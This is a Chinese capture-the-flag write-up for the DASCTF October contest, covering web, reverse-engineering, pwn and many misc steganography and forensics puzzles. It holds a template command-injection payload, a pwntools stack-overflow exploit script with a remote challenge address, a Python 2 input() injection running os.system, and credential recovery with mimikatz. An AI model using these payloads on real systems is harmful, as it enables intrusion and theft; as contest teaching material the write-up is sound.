本篇文章原文:http://www.7yue.top/dasctf-oct-x-%E5%90%89%E6%9E%97%E5%B7%A5%E5%B8%88-wp/
雪殇杯好耶,顶碗人大胜利!!!

WEB

迷路的魔法少女

?attrid=0&attrstr=${eval(system('cat /etc/timezone'))}

REVERSE

魔法叠加

pyc文件,改掉了magic,首先需要修复一下

前两位是版本信息,fuzz一下可知这是python3.7的pyc文件,正常python3.7的pyc文件前两位是420D

并且和面多了一个7102的字段,也导致了前面长度变成了7334。

修复只需要把开头改成420D,删掉7102字段,并且将前面的长度-2,变成7332即可。

修复下正常反编译

# uncompyle6 version 3.7.4
# Python bytecode 3.7 (3394)
# Decompiled from: Python 3.8.0 (tags/v3.8.0:fa919fd, Oct 14 2019, 19:37:50) [MSC v.1916 64 bit (AMD64)]
# Embedded file name: ./2.py
# Compiled at: 2021-10-20 11:56:04
# Size of source mod 2**32: 1928 bytes
import struct
O0O00O00O00O0O00O = ['A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '!', '#', '$', '%', '&', '(', ')', '*', '+', ',', '.', '/', ':', ';', '<', '=', '>', '?', '@', '[', ']', '^', '_', '`', '{', '|', '}', '~', '"']
def encode(O000O00000OO00OOO):""""""OOOO00OOO00O000OO = 0OOOOOOOOOO00O0OOO = 0OO0OOO000000OOOOO = ''for O0O0OO0OOOOOOOO00 in range(len(O000O00000OO00OOO)):O000O0OOOOO00O0O0 = O000O00000OO00OOO[O0O0OO0OOOOOOOO00:O0O0OO0OOOOOOOO00 + 1]OOOO00OOO00O000OO |= struct.unpack('B', O000O0OOOOO00O0O0)[0] << OOOOOOOOOO00O0OOOOOOOOOOOOO00O0OOO += 8if OOOOOOOOOO00O0OOO > 13:OO00O0OO00OOO000O = OOOO00OOO00O000OO & 8191if OO00O0OO00OOO000O > 88:OOOO00OOO00O000OO >>= 13OOOOOOOOOO00O0OOO -= 13else:OO00O0OO00OOO000O = OOOO00OOO00O000OO & 16383OOOO00OOO00O000OO >>= 14OOOOOOOOOO00O0OOO -= 14OO0OOO000000OOOOO += O0O00O00O00O0O0O0[(OO00O0OO00OOO000O % 91)] + O0O00O00O00O0O0O0[(OO00O0OO00OOO000O // 91)]if OOOOOOOOOO00O0OOO:OO0OOO000000OOOOO += O0O00O00O00O0O0O0[(OOOO00OOO00O000OO % 91)]if OOOOOOOOOO00O0OOO > 7 or OOOO00OOO00O000OO > 90:OO0OOO000000OOOOO += O0O00O00O00O0O0O0[(OOOO00OOO00O000OO // 91)]return OO0OOO000000OOOOOO0O00O00O00O0O0O0 = []
OO000O00O00O0O0O0 = []
O0O0O0O0000O0O00O = input('plz input O0O0O0O0000O0O00O:\n')
for i in range(0, 52):O0O00O00O00O0O0O0 = O0O00O00O00O0O00O[i:] + O0O00O00O00O0O00O[0:i]O0O0O0O0000O0O00O = encode(O0O0O0O0000O0O00O.encode('utf-8'))
dic = open('./00.txt', 'a')
dic.write(O0O0O0O0000O0O00O)
dic.close
# okay decompiling magic.pyc

52次base91,码表偏移1

抄个解密脚本,微改

# -*- coding:utf-8 -*-
import struct
rawb91Maps = ['A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M','N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z','a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm','n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z','0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '!', '#', '$','%', '&', '(', ')', '*', '+', ',', '.', '/', ':', ';', '<', '=','>', '?', '@', '[', ']', '^', '_', '`', '{', '|', '}', '~', '"']
def decode(encoded_str:bytes):''' Decode Base91 string to a bytearray '''v = -1b = 0n = 0out = b''for strletter in encoded_str.decode():if not strletter in b91Table:continuec = b91Table[strletter]if v < 0:v = celse:v += c * 91b |= v << nn += 13 if (v & 8191) > 88 else 14while True:out += struct.pack('B', b & 255)b >>= 8n -= 8if not n > 7:breakv = -1if v + 1:out += struct.pack('B', (b | v << n) & 255)return outb91MapArr = []
for i in range(0, 52):b91MapArr.append(rawb91Maps[i:] + rawb91Maps[0:i])
b91MapArr.reverse()
with open("/home/kali/Desktop/00.txt", "rb") as f:strs = f.read()for i in range(0, 52):b91Table = dict((v, k) for k, v in enumerate(b91MapArr[i]))strs = decode(strs).decode()print("round:", i)print(strs)

马猴烧酒

一个变表的base64

abcdefghijklmnopqrstuvwxyz0123456789+/ABCDEFGHIJKLMNOPQRSTUVWXYZ

编码时间戳

1633831810

而后与

flag{this_is_fake_flag}

简单异或得到Key魔改SM4,

改了Sbox和CK

改下脚本

// sm4.h
static const unsigned char SboxTable[16][16] =
{{0x48, 0x90, 0xE9, 0xFE, 0xCC, 0xE1, 0x3D, 0xB7, 0x16, 0xB6, 0x14, 0xC2, 0x28, 0xFB, 0x2C, 0x05},{0x2B, 0x67, 0x9A, 0x76, 0x2A, 0xBE, 0x04, 0xC3, 0xAA, 0x44, 0x13, 0x26, 0x49, 0x86, 0x06, 0x99},{0x9C, 0x42, 0x50, 0xF4, 0x91, 0xEF, 0x98, 0x7A, 0x33, 0x54, 0x0B, 0x43, 0xED, 0xCF, 0xAC, 0x62},{0xE4, 0xB3, 0x1C, 0xA9, 0xC9, 0x08, 0xE8, 0x95, 0x80, 0xDF, 0x94, 0xFA, 0x75, 0x8F, 0x3F, 0xA6},{0x47, 0x07, 0xA7, 0xFC, 0xF3, 0x73, 0x17, 0xBA, 0x83, 0x59, 0x3C, 0x19, 0xE6, 0x85, 0x4F, 0xA8},{0x68, 0x6B, 0x81, 0xB2, 0x71, 0x64, 0xDA, 0x8B, 0xF8, 0xEB, 0x0F, 0x4B, 0x70, 0x56, 0x9D, 0x35},{0x1E, 0x24, 0x0E, 0x5E, 0x63, 0x58, 0xD1, 0xA2, 0x25, 0x22, 0x7C, 0x3B, 0x01, 0x21, 0x78, 0x87},{0xD4, 0x00, 0x46, 0x57, 0x9F, 0xD3, 0x27, 0x52, 0x4C, 0x36, 0x02, 0xE7, 0xA0, 0xC4, 0xC8, 0x9E},{0xEA, 0xBF, 0x8A, 0xD2, 0x40, 0xC7, 0x38, 0xB5, 0xA3, 0xF7, 0xF2, 0xCE, 0xF9, 0x61, 0x15, 0xA1},{0xE0, 0xAE, 0x5D, 0xA4, 0x9B, 0x34, 0x1A, 0x55, 0xAD, 0x93, 0x32, 0x30, 0xF5, 0x8C, 0xB1, 0xE3},{0x1D, 0xF6, 0xE2, 0x2E, 0x82, 0x66, 0xCA, 0x60, 0xC0, 0x29, 0x23, 0xAB, 0x0D, 0x53, 0x4E, 0x6F},{0xD5, 0xDB, 0x37, 0x45, 0xDE, 0xFD, 0x8E, 0x2F, 0x03, 0xFF, 0x6A, 0x72, 0x6D, 0x6C, 0x5B, 0x51},{0x8D, 0x1B, 0xAF, 0x92, 0xBB, 0xDD, 0xBC, 0x7F, 0x11, 0xD9, 0x5C, 0x41, 0x1F, 0x10, 0x5A, 0xD8},{0x0A, 0xC1, 0x31, 0x88, 0xA5, 0xCD, 0x7B, 0xBD, 0x2D, 0x74, 0xD0, 0x12, 0xB8, 0xE5, 0xB4, 0xB0},{0x89, 0x69, 0x97, 0x4A, 0x0C, 0x96, 0x77, 0x7E, 0x65, 0xB9, 0xF1, 0x09, 0xC5, 0x6E, 0xC6, 0x84},{0x18, 0xF0, 0x7D, 0xEC, 0x3A, 0xDC, 0x4D, 0x20, 0x79, 0xEE, 0x5F, 0x3E, 0xD7, 0xCB, 0x39, 0xD6}
};
static const unsigned long CK[32] =
{0xF4BFE18F, 0xA8AA055C, 0x8B266D2B, 0xB3819D47, 0x0B1B3A85, 0xF7DB86B6, 0xC3279F82, 0x39D9C102,0xBEA224C9, 0xE75D4DAC, 0xAC61726C, 0x6F98AA6F, 0xFA2ADA4E, 0x6A7CFF92, 0xA8066E7B, 0x7BE32F9F,0x8CD0FED3, 0x4B98AF71, 0x790C2CBC, 0xBF880433, 0xAA46F582, 0x69C17A2C, 0x80BBD5E4, 0x24A02531,0x293D87B3, 0x75F159AD, 0xB750AE9D, 0x9886928C, 0x05577A22, 0xB425E19F, 0x124D4F63, 0xE26F66D1
};
#include <stdio.h>
#include "sm4.h"
int main()
{sm4_context ctx;unsigned char key[16] = {0x0B, 0x18, 0x18, 0x29, 0x16, 0x3A, 0x5E, 0x27, 0x1E, 0x2B, 0x5F, 0x3F, 0x32, 0x07, 0x5C, 0x56};unsigned char enc[16] = {0xF7, 0xEB, 0x5E, 0x87, 0x17, 0x9C, 0x74, 0x94, 0x44, 0xB5, 0xF5, 0x12, 0xF9, 0x74, 0x15, 0x5F};unsigned char dec[16];sm4_setDecryptKey(&ctx, key);sm4_CryptoEcb(&ctx, 0, 16, enc, dec);for (int i = 0; i < 16; i++)printf("%c", dec[i]);printf("\n");return 0;
}

PWN

搬山的魔法少女

下载附件得到一个文件,查看十六进制可知是个bmp文件,修改后缀打开发现右下角有明显的不同种类的绿色,故这里可能对g通道数据有一定隐写

fuzz一下可以得知,提取所有像素g通道数据,对0xff异或即可得到一个新文件

from PIL import Image
import struct
pic = Image.open('C:\\Users\\34603\\Desktop\\flag2.bmp')
a, b = pic.size
fp = open('C:\\Users\\34603\\Desktop\\flag.zip', 'wb')
for y in range(b):for x in range(a):g = pic.getpixel((x, y))[1]data = struct.pack('B', g & 0xff)# print(data)fp.write(data)
fp.close()

最终得到一个压缩包文件,

压缩包内是pwn的附件

pwn部分:

绕过检查后栈溢出

#!/usr/bin/python
from pwn import *
import sys
import time
#from LibcSearcher import LibcSearcher
context.log_level = 'debug'
context.arch='amd64'
local=1
binary_name='miscpwnn'
libc_name='libc.so.6'
#libc_name='libc-2.31.so'
libc=ELF("./"+libc_name)
e=ELF("./"+binary_name)def exp(i,j):#try:if local:p=process("./"+binary_name)else:p=remote('47.104.71.220', 38562)def z(a=''):if local:gdb.attach(p,a)if a=='':raw_inputelse:passru=lambda x:p.recvuntil(x)sl=lambda x:p.sendline(x)sd=lambda x:p.send(x)sa=lambda a,b:p.sendafter(a,b)sla=lambda a,b:p.sendlineafter(a,b)ia=lambda :p.interactive()sla('How many mountains do you want?','225')sla('How many mountains can you take each time?',str(i))ru('How many mountains do you move?')z('b*0x80488c7')sl(str(j))sl(b'a'*30+b'b'*2+p32(0x80485b6))ia()#except:#p.close
'''
for i in range(1,0x1e):for j in range(1,i):exp(i,j)
'''
exp(30,29)

MISC

WELCOME DASCTFxJlenu

python2的input漏洞

__import__('os').system('cat /flag.txt')

魔法少女的迷音

下载附件得到一个加密压缩包

google搜索一下注释atom128,得到一个在线解密网站

解密得到压缩包密码

之后得到一段wav音频,倒序后即可听到正常音频,之后Decimal解密一下,包上DASCTF即可得到flag

不可以色色

网页上有一个gif图片,fuzz一下可以发现并没有什么用。

根据F12里的提示,video,爆破出一个video.zip文件

打开压缩包里面是个头文件有问题的video.mp4文件

正常的mp4文件如下

故将video.mp4文件头做一下处理,得到如下数据:

打开后是一个米老鼠视频,在视频开头和结尾部分,有几帧存在类似二维码的数据,百度一下可知是PDF417二维条码,将两部分二维码做一下处理合在一起,扫一下即可得到flag

魔法信息

下载附件得到一个流量包,在tcp.stram eq 20中可以发现有一个zip数据

base解密一下shell最后的base64,或者查看之前的数据流,也可以得知这里传输了一个eeeee.zip文件

将zip保存下来,压缩包数据有问题,一直报错。用360和bandzip都解压不了,用7z和winrar可以解压,但解压出来的pdf数据也有问题,打不开

这里尝试用010editor打开看看有什么问题,发现了神奇的东西

在pdf数据块里直接就可以看到flag,可能这就是报错原因吧,将数据块从 ‘DASCTF{’ 到 ‘}’ 的所有数据全部提取出来,即可得到flag

阴游大师

一个Malody音游题,可以直接百度搜索,在官网上下载windows版本

游玩过程中,或者在游戏中可以很明显的发现,在正常游戏的九条数据外,最右边有多出的数据,这作为正常游戏肯定是没有的,故块地方肯定有做了加密的地方。

先写个脚本提取一下每个通道的数据,修改后缀为zip,在mc文件内就可以发现json保存的数据格式,其中就有音游过程顺序,做一下json美化,可以看的更清楚哦

脚本如下:

import json
fp = open('mcz.txt', 'r')
data = fp.read()
json1 = json.loads(data)
note = json1['note']
for i in note:print(i['column'], end='')

得到:

11111366666622222555554525314372631372324234362423535353536271803535647352356011234235355353553877665563543543354512671267011256235425366424423162365417000068658367847012387111119951214811795651141019510911711510599951039710910195109971151160111141250000000031234610053251245332040404026262621267126712671267126712671267126712671267012301230123567856782344532356235623564444444444172635080808081701782662662660220222436436527845645736413737537526215707406754545423452525258765432107766554433112221212676762323246123455335353357654335535335301246786345325325326342660172462318504536141652723643725325252525252536363636271627162716271627162716245245246317258312612125876248761876234617635623561820324132546352434253226026826272526452736508551735534260463065632660582163806647051446017826713521835105287647163735363528353250364634351354444345434

然后找9存在的位置,可以发现所有9都在0000到00000000之间

并且很明显的可以看出 68 65 83 67 84都是可打印字符

尝试将0000到00000000的数据全部提取出来

解密一下即可得到flag

这里有一个011错了,把011改为101即可正常得到flag,具体原因感觉是题目不小心出的有点问题,但也不确定,修改后即可得到最终flag

英语不好的魔法少女

下载附件得到一个png图片,发现有一个tpWj数据块,里面是一个stego_text.txt

用在线网站提取一下数据

https://masterqian.github.io/picdir/

得到文本文件,这里不能直接从数据块里复制粘贴,会文件异常

零宽字节解密一下,发现有一串密文

再回到一堆英文单词中,发现有一些很明显的单词拼写错误,比如accurate写成了accuratm

在github上找了一个比较全的单词表

https://github.com/first20hours/google-10000-english/blob/master/google-10000-english.txt

写一个脚本对照一下

fp = open('1.txt', 'r')  # 题目表
fs = open('2.txt', 'r')  # github表
tables = []
for line in fs:line = line.strip('\n')tables.append(line)
data = []
for line in fp:line = line.strip('\n')data.append(line)
for s in data:if s not in tables:print(s)

解得:

accuratm
extfnt
biks
equivalens
openev
sendinx
foumula
fecused
ree
journsy
threht
oparational
handbnok
sguthwest

发现错误的字母如下:

fuzz一下发现两个s和两个e,重复了,需要做一下去重,最终实际得到

mfsvxueshang

将零宽得到的数据作为密文,单词错误字母作为key,最终解一个aes即可得到flag:

Twinkle Twinkle Starry Night

nc链接一下靶机,发现很多base64字符

base64解密一下,发现很多小星星一样的字符吗,正好和题目对应

     +     +        +  *      +*        +  *     +*        +  *       +*        +  *      +*+  *     +** +       .     +        +  *      +*        +  *      +*        +  *
+*        +  *       +*        +  *     +*     +        +  *      +*        +  *     +*      +  *       +*        +  *      +*        +  *      +*     +        +  *      +*        +  *+*        +  *      +*        +  *       +*        +  *      +*     +        +  *      +
*        +  *      +*        +  *     +*        +  *     +*        +  *     +*     .     .   . +     .     +        +  *      +*        +  *       +*        +  *       +*        +  *  +* + .     +        +  *       +*        +  *     +*        +  *     +*        +  *      +
*     +        +  *      +*        +  *     +*        +  *       +*        +  *     +*       +  *       +*     +        +  *      +*        +  *       +*        +  *       +*        +
*      +*     +        +  *      +*        +  *       +*        +  *       +*        +  *    +*     .     .     . +       .     +        +  *      +*        +  *       +*        +  *+*        +  *      +* +   .     +        +  *      +*        +  *       +*        +  *+*        +  *       +** +       .     +        +  *      +*        +  *       +*       +  *      +*        +  *     +*     +        +  *      +*        +  *       +*        +  *  +*        +  *     +*     +        +  *      +*        +  *     +*        +  *       +*   +  *     +*        +  *       +*   .   . +     .     +        +  *      +*        +  *  +*        +  *       +*        +  *     +** +     .     +        +  *       +*        +*     +*        +  *     +*        +  *       +* + .     +        +  *      +*        +  *  +*        +  *       +*        +  *      +*        +  *     +*     +        +  *      +*  +  *       +*        +  *       +*        +  *      +*     +        +  *      +*       +  *       +*        +  *     +*        +  *     +*     +        +  *      +*        +  *   +*        +  *      +*        +  *     +* . . . +       .     +        +  *      +*      +  *     +*        +  *       +*        +  *     +*        +  *       +* +       .     +   +  *      +*        +  *       +*        +  *     +*        +  *     +*     +        +
*       +*        +  *     +*        +  *     +*        +  *     +*   . +       .     +      +  *      +*        +  *       +*        +  *     +*        +  *     +*     +        +  *  +*        +  *       +*        +  *       +*        +  *      +*     +        +  *
+*        +  *     +*        +  *     +*        +  *     +*     +        +  *       +*       +  *     +*        +  *      +*        +  *     +*     +        +  *       +*        +  *   +*        +  *     +*        +  *       +*   .   .   .   . + .     +        +  *      +*   +  *     +*        +  *       +*        +  *     +*        +  *       +*     +        +*      +*        +  *     +*        +  *       +*        +  *     +*        +  *     +*
+        +  *       +*        +  *     +*        +  *     +*        +  *       +*   .   . +  .     +        +  *       +*        +  *     +*        +  *     +*        +  *      +* +  .     +        +  *       +*        +  *     +*        +  *     +*        +  *      +*    +        +  *      +*        +  *     +*        +  *       +*        +  *      +*        +
*     +*     . + .     +        +  *      +*        +  *     +*        +  *       +*        +*      +*        +  *     +*     +        +  *      +*        +  *       +*        +  *    +*        +  *      +*     +        +  *      +*        +  *       +*        +  *       +*+  *       +*       .       . +       .     +        +  *       +*        +  *     +*+  *      +*        +  *     +*     +        +  *      +*        +  *     +*        +*       +*        +  *     +*        +  *       +*     +        +  *      +*        +  *    +*        +  *      +*        +  *     +*   .   . +       .     +        +  *      +*     +  *      +*        +  *      +*        +  *       +*        +  *       +* +     .     +  +  *      +*        +  *      +*        +  *     +*        +  *       +*        +  *   +* * + .

fuzz一下发现是starry语言

https://blog.csdn.net/rednaxelafx/article/details/83363956

可以转化成栈操作指令

写个脚本批量改为栈操作

import sys
fp = open('新建文本文档.txt')
data = fp.read()
fs = open('7754.txt', 'w')
sub = 0
for i in data:# print(i)if i == '\n':continueelif i == ' ':sub += 1elif i == '+':if sub == 1:fs.write('dup\n')sub = 0elif sub == 2:fs.write('swap\n')sub = 0elif sub == 3:fs.write('rotate\n')sub = 0elif sub == 4:fs.write('pop\n')sub = 0else:fs.write('push  ' + str(sub-5) + '\n')sub = 0elif i == '*':if sub == 0:fs.write('+\n')sub = 0elif sub == 1:fs.write('-\n')sub = 0elif sub == 2:fs.write('*\n')sub = 0elif sub == 3:fs.write('/\n')sub = 0elif sub == 4:fs.write('%\n')sub = 0else:print('error!!!')sub = 0sys.exit()elif i == '.':if sub == 0:fs.write('num_out\n')else:fs.write('char_out\n')sub = 0else:print('error!!!!')sys.exit()
fp.close()
fs.close()

得到:

push  0    push  0    push  3    *    push  1    +    push  3    *    push  0    +    push  3    *    push  2    +    push  3    *    push  1    +    push  3    *    push  0    +    +    dup    char_out    push  0    push  3    *    push  1    +    push  3    *    push  1    +    push  3    *    push  1    +    push  3    *    push  2    +    push  3    *    push  0    +    push  0    push  3    *    push  1    +    push  3    *    push  0    +    push  3    *    push  2    +    push  3    *    push  1    +    push  3    *    push  1    +    push  0    push  3    *    push  1    +    push  3    *    push  0    +    push  3    *    push  1    +    push  3    *    push  2    +    push  3    *    push  1    +    push  0    push  3    *    push  1    +    push  3    *    push  1    +    push  3    *    push  0    +    push  3    *    push  0    +    push  3    *    push  0    +    char_out    char_out    char_out    dup    char_out    push  0    push  3    *    push  1    +    push  3    *    push  2    +    push  3    *    push  2    +    push  3    *    push  0    +    dup    char_out    push  0    push  3    *    push  2    +    push  3    *    push  0    +    push  3    *    push  0    +    push  3    *    push  1    +    push  0    push  3    *    push  1    +    push  3    *    push  0    +    push  3    *    push  2    +    push  3    *    push  0    +    push  3    *    push  2    +    push  0    push  3    *    push  1    +    push  3    *    push  2    +    push  3    *    push  2    +    push  3    *    push  1    +    push  0    push  3    *    push  1    +    push  3    *    push  2    +    push  3    *    push  2    +    push  3    *    push  2    +    char_out    char_out    char_out    dup    char_out    push  0    push  3    *    push  1    +    push  3    *    push  2    +    push  3    *    push  1    +    push  3    *    push  1    +    dup    char_out    push  0    push  3    *    push  1    +    push  3    *    push  2    +    push  3    *    push  1    +    push  3    *    push  2    +    +    dup    char_out    push  0    push  3    *    push  1    +    push  3    *    push  2    +    push  3    *    push  1    +    push  3    *    push  0    +    push  0    push  3    *    push  1    +    push  3    *    push  2    +    push  3    *    push  0    +    push  3    *    push  0    +    push  0    push  3    *    push  1    +    push  3    *    push  0    +    push  3    *    push  2    +    push  3    *    push  0    +    push  3    *    push  2    +    char_out    char_out    dup    char_out    push  0    push  3    *    push  1    +    push  3    *    push  2    +    push  3    *    push  2    +    push  3    *    push  0    +    +    dup    char_out    push  0    push  3    *    push  2    +    push  3    *    push  0    +    push  3    *    push  0    +    push  3    *    push  2    +    dup    char_out    push  0    push  3    *    push  1    +    push  3    *    push  0    +    push  3    *    push  2    +    push  3    *    push  1    +    push  3    *    push  0    +    push  0    push  3    *    push  1    +    push  3    *    push  2    +    push  3    *    push  2    +    push  3    *    push  1    +    push  0    push  3    *    push  1    +    push  3    *    push  2    +    push  3    *    push  0    +    push  3    *    push  0    +    push  0    push  3    *    push  1    +    push  3    *    push  2    +    push  3    *    push  1    +    push  3    *    push  0    +    char_out    char_out    char_out    dup    char_out    push  0    push  3    *    push  1    +    push  3    *    push  0    +    push  3    *    push  2    +    push  3    *    push  0    +    push  3    *    push  2    +    dup    char_out    push  0    push  3    *    push  1    +    push  3    *    push  2    +    push  3    *    push  0    +    push  3    *    push  0    +    push  0    push  3    *    push  2    +    push  3    *    push  0    +    push  3    *    push  0    +    push  3    *    push  0    +    char_out    dup    char_out    push  0    push  3    *    push  1    +    push  3    *    push  2    +    push  3    *    push  0    +    push  3    *    push  0    +    push  0    push  3    *    push  1    +    push  3    *    push  2    +    push  3    *    push  2    +    push  3    *    push  1    +    push  0    push  3    *    push  2    +    push  3    *    push  0    +    push  3    *    push  0    +    push  3    *    push  0    +    push  0    push  3    *    push  2    +    push  3    *    push  0    +    push  3    *    push  1    +    push  3    *    push  0    +    push  0    push  3    *    push  2    +    push  3    *    push  0    +    push  3    *    push  0    +    push  3    *    push  2    +    char_out    char_out    char_out    char_out    dup    char_out    push  0    push  3    *    push  1    +    push  3    *    push  0    +    push  3    *    push  2    +    push  3    *    push  0    +    push  3    *    push  2    +    push  0    push  3    *    push  1    +    push  3    *    push  0    +    push  3    *    push  2    +    push  3    *    push  0    +    push  3    *    push  0    +    push  0    push  3    *    push  2    +    push  3    *    push  0    +    push  3    *    push  0    +    push  3    *    push  2    +    char_out    char_out    dup    char_out    push  0    push  3    *    push  2    +    push  3    *    push  0    +    push  3    *    push  0    +    push  3    *    push  1    +    dup    char_out    push  0    push  3    *    push  2    +    push  3    *    push  0    +    push  3    *    push  0    +    push  3    *    push  1    +    push  0    push  3    *    push  1    +    push  3    *    push  0    +    push  3    *    push  2    +    push  3    *    push  1    +    push  3    *    push  0    +    char_out    dup    char_out    push  0    push  3    *    push  1    +    push  3    *    push  0    +    push  3    *    push  2    +    push  3    *    push  1    +    push  3    *    push  0    +    push  0    push  3    *    push  1    +    push  3    *    push  2    +    push  3    *    push  1    +    push  3    *    push  1    +    push  0    push  3    *    push  1    +    push  3    *    push  2    +    push  3    *    push  2    +    push  3    *    push  2    +    char_out    char_out    dup    char_out    push  0    push  3    *    push  2    +    push  3    *    push  0    +    push  3    *    push  1    +    push  3    *    push  0    +    push  0    push  3    *    push  1    +    push  3    *    push  0    +    push  3    *    push  2    +    push  3    *    push  0    +    push  3    *    push  2    +    push  0    push  3    *    push  1    +    push  3    *    push  2    +    push  3    *    push  1    +    push  3    *    push  0    +    char_out    char_out    dup    char_out    push  0    push  3    *    push  1    +    push  3    *    push  1    +    push  3    *    push  1    +    push  3    *    push  2    +    push  3    *    push  2    +    dup    char_out    push  0    push  3    *    push  1    +    push  3    *    push  1    +    push  3    *    push  0    +    push  3    *    push  2    +    push  3    *    push  1    +    -    dup    char_out   

注:

脚本实际是以换行隔开,这里为了能够全部显示,做了如下\n改为\t的操作,实际脚本还是为换行

然后对栈操作指令写一个脚本操作一下

import sys
fp = open('7754.txt', 'r')
data = []
for line in fp:line = line.strip('\n')if line[:4] == 'push':data.append(int(line.split('  ')[1]))elif line == '*':x = data[-1]y = data[-2]data = data[:-2]data.append(x * y)elif line == '+':x = data[-1]y = data[-2]data = data[:-2]data.append(x + y)elif line == 'dup':x = data[-1]data.append(x)elif line == 'char_out':x = data[-1]data = data[:-1]print(str(x) + ' ', end='')else:print('error!!!')sys.exit()

得到:

102 108 97 103 123 51 53 52 101 55 49 99 101 45 48 99 56 48 45 52 102 101 54 45 56 57 54 52 45 56 99 101 55 102 55 53 49 102 48 101 57 125

decimal解密一下即为flag

卡比卡比卡比

下载附件得到一个!@#KaTeX parse error: Expected 'EOF', got '#' at position 28: …名字的文件和一个内存文件,!@#̲unimportance内的数据很乱,看不出来是什么东西,先看看内存文件。

pstree一下发现iexplore和cmd进程

先看看iehistory一下看看历史记录

发现有一些搜索记录,还有一个key.png

搜索记录问怎么设置文件名能够更安全,方法是在文件名前加一个前缀。

先filescan+dumpfiles一下key.png图片

key.png是文本文件,内容为:

我记得我存了一个非常棒的视频,但怎么找不到了,会不会在默认文件夹下

视频的默认文件夹是Video,尝试搜索一下Video,发现可疑文件名

dumpfiles出来得到:

xzkbyyds!

这一串字符串应该是个key之类的,但暂时没有用处。

回到pstree,还有一个cmd进程,cmdscan一下,发现输入了5201314

之前ie搜索记录里有文件名加前缀的提示,怀疑就是加了5201314,故filescan一下5201314,得到一个tips

dumpfiles出来,是一个加密压缩包,ohhhh文件内的key也不是密码

还可能存在key的地方,也许会是管理员登录密码,尝试mimikatz一下,发现

MahouShoujoYyds

解密压缩包成功,压缩包内是个py文件

import struct
key = 'xxxxxxxxx'
fp = open('!@#$importance', 'rb')
fs = open('!@#$unimportance', 'wb')
data = fp.read()
for i in range(0, len(data)):result = struct.pack('B', data[i] ^ ord(*key[i % len(key)]))fs.write(result)
fp.close()
fs.close()

正好就是刚开始的!@#$unimportance文件的加密方式,缺少一个key,有key即可复原。

根据key的位数为9位,正好就是ohhh文件内的 xzkbyyds!

写一个逆脚本解密一下,得到一个头文件为GIF89a的文件,可知是gif图片

import struct
key = 'xzkbyyds!'
fp = open('!@#$importance', 'wb')
fs = open('!@#$unimportance', 'rb')
data = fs.read()
for i in range(0, len(data)):result = struct.pack('B', data[i] ^ ord(*key[i % len(key)]))fp.write(result)
fp.close()
fs.close()

看预览图可以发现这是一个正方形图片

但是点开之后就变成长方形了

很明显这里高度被修改过了,尝试把高度修改回来,gif的宽高在6 7 8 9四个字节内

其中6 7字节为宽, 8 9字节为高,且为小端序储存方式。

故宽为0077,高为0067,将高改回0077,发现某一帧的底部有flag,但是比较快,提取一下帧,在第115帧发现flag

giveyourflag

压缩包套娃,一层层解完就可以了

写个脚本解一下

import zipfile
f = zipfile.ZipFile("flag1", 'r')
while 1:try:name = f.namelist()[0]print(name)f.extractall()f = zipfile.ZipFile(name, 'r')except:break

之后做一个base64加凯撒密码即可得到flag

彁彁

有点小折磨的题

一帧一帧看,在视频中可以看到两处有二维码图样

之后就大致拼一下

然后放到在线网站里整理一下,读取部分信息

https://merricx.github.io/qrazybox/

读取得到:

由于二维码补全,这里最后解码有点问题,但也能猜出来是什么。

很明显可以看到是一个网址,有sn wa等存在,且是雪殇出的题,大概率这里其实是snowywar,即雪殇的ID。

中间还有.g,后面是ge。一开始怀疑是雪殇的博客,但要是博客上放flag之类的话,就太明显了。

故怀疑是代码管理仓库之类的,最后这里找到了gitee项目,如果二维码修复的比较好,应该更容易发现是gitee

得到题目的部分文件

4444.png内有两个二维码,但都扫不了,有一点数据是损坏的

stegsolve分析一下得到一个网址

https://ja.m.wikipedia.org/wiki/死

是一个日文的wiki,wiki上没什么特别的东西。

推特.jpg内有一个压缩包,提取出来发现是加密的

最终fuzz一下,发现密码就是上面wiki连接搜索的东西,“死”。

故key为:死

解开后得到:

=6270yFdE0<?@H0=@G60562C=J0v60v6

这里也卡了好久好久,最后一个个fuzz过去,发现是ROT47,解密后包上DASCTF{}得到最终flag

闯入魔塔的魔法少女

swf游戏题,binwalk一下发现zlib数据流

提取出来直接搜索flag,得到:

虚幻三

跟网鼎杯里的虚幻系列类似,开局一个彩色文件。之前虚幻二是提取最低位像素,转化黑白,然后rgb顺序组合在一起,为一个汉信码,扫码得到flag。

这题一样的提取最低位像素,转化为黑白。但是组合顺序是grb,最终得到的数据如下:

四个角落做了混淆,但实际在四个角落补上汉信码标识符,即可扫码得到flag

最终脚本如下:

from PIL import Image
pic = Image.open('cipher.bmp')
a, b = pic.size
r1 = []  # 储存r、g、b通道
g1 = []
b1 = []
r2 = []  # 一行一行临时储存
g2 = []
b2 = []
for y in range(b):for x in range(a):r2.append(pic.getpixel((x, y))[0] % 2)g2.append(pic.getpixel((x, y))[1] % 2)b2.append(pic.getpixel((x, y))[2] % 2)r1.append(r2)g1.append(g2)b1.append(b2)r2 = []g2 = []b2 = []
pic_1 = Image.new('L', (a, b*3), 255)
for y in range(0, len(r1)*3, 3):for x in range(len(r1[0])):pic_1.putpixel((x, y), g1[y//3][x] * 255)pic_1.putpixel((x, y+1), r1[y//3][x] * 255)pic_1.putpixel((x, y+2), b1[y//3][x] * 255)
pic_1.show()
# pic_1.save('flag.bmp')

最终加一下汉信码标识符,扫码即可得到flag(这里加的有点粗糙)。

最终得到flag:

DASCTF{13833babbd434be3e2882f507ce5f8ae}

DASCTF Oct X 吉林工师 欢迎来到魔法世界~ WriteUp相关推荐

  1. DASCTF Oct X 吉林工师 欢迎来到魔法世界 部分wp

